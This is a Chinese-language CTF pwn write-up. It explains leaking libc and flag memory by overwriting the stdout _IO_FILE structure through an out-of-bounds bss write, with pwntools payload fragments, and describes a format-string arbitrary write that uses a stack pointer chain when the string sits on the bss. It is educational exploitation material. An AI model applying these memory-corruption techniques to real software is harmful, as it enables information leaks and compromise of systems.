pwn

_IO_2_1_stdin_ 与 bss_format

Posted by Sagiring on 2023-08-28
Estimated Reading Time 1 Minutes
Words 457 In Total
Viewed Times

IO_2_1_stdin 与 bss_format

IO_2_1_stdin

附件:

bss数组越界

flag在内存里,puts + 0x16D2E0的地方(这里F5之后 + 的不对,不知为何)

防护全开

总结一下,给了个bss的任意指针写!考虑打stdout泄露地址

这里第一次接触_IO_FILE结构,久仰大名了属于是

pwndbg> ptype stdout
type = struct _IO_FILE {
    int _flags;
    char *_IO_read_ptr;
    char *_IO_read_end;
    char *_IO_read_base;
    char *_IO_write_base;  //  泄露开始地址
    char *_IO_write_ptr;   //  泄露结束地址
    char *_IO_write_end;
    char *_IO_buf_base;
    char *_IO_buf_end;
    char *_IO_save_base;
    char *_IO_backup_base;
    char *_IO_save_end;
    struct _IO_marker *_markers;
    struct _IO_FILE *_chain;
    int _fileno;
    int _flags2;
    __off_t _old_offset;
    unsigned short _cur_column;
    signed char _vtable_offset;
    char _shortbuf[1];
    _IO_lock_t *_lock;
    __off64_t _offset;
    struct _IO_codecvt *_codecvt;
    struct _IO_wide_data *_wide_data;
    struct _IO_FILE *_freeres_list;
    void *_freeres_buf;
    size_t __pad5;
    int _mode;
    char _unused2[20];
} *

https://blog.csdn.net/qq_41202237/article/details/113845320

贴一下好好说话系列,讲的也很清楚。

首先_flag的设定需要满足

_flags = 0xFBAD1800

因为为了泄露出我们需要的地址,需要一些标志位满足判断

再设置下面的成员为0

    char *_IO_read_ptr;
    char *_IO_read_end;
    char *_IO_read_base;

最好再来修改

    char *_IO_write_base;  //  泄露开始地址
    char *_IO_write_ptr;   //  泄露结束地址

综上payload

b'feedback.\n',p64(0xfbad1800)+p64(0x0)*3+b'\x00'

泄露_IO_2_1_stdin_\x00的设置刚好讲_IO_write_base低位置0,刚好可以泄露出_IO_2_1_stdin_的地址

_IO_2_1_stdin_addr = u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))

遇到puts或者 printf输出函数,便会泄露

最后泄露flag即可

payload = p64(0xfbad1800)+p64(0x0)*3 + p64(flag_addr) + p64(flag_addr + flag_size)

bss_format

格式化字符串,但是存储在bss上。不能用传统的传地址在栈上完成任意写。

栈的结构如下

此时可以找如ebp那种指向栈内的指针,先用格式化字符对那个地址任意写,写入我们想修改的地址,再找偏移,对ebp写入的地址再写入,这样便可达成任意写。栈上跳板。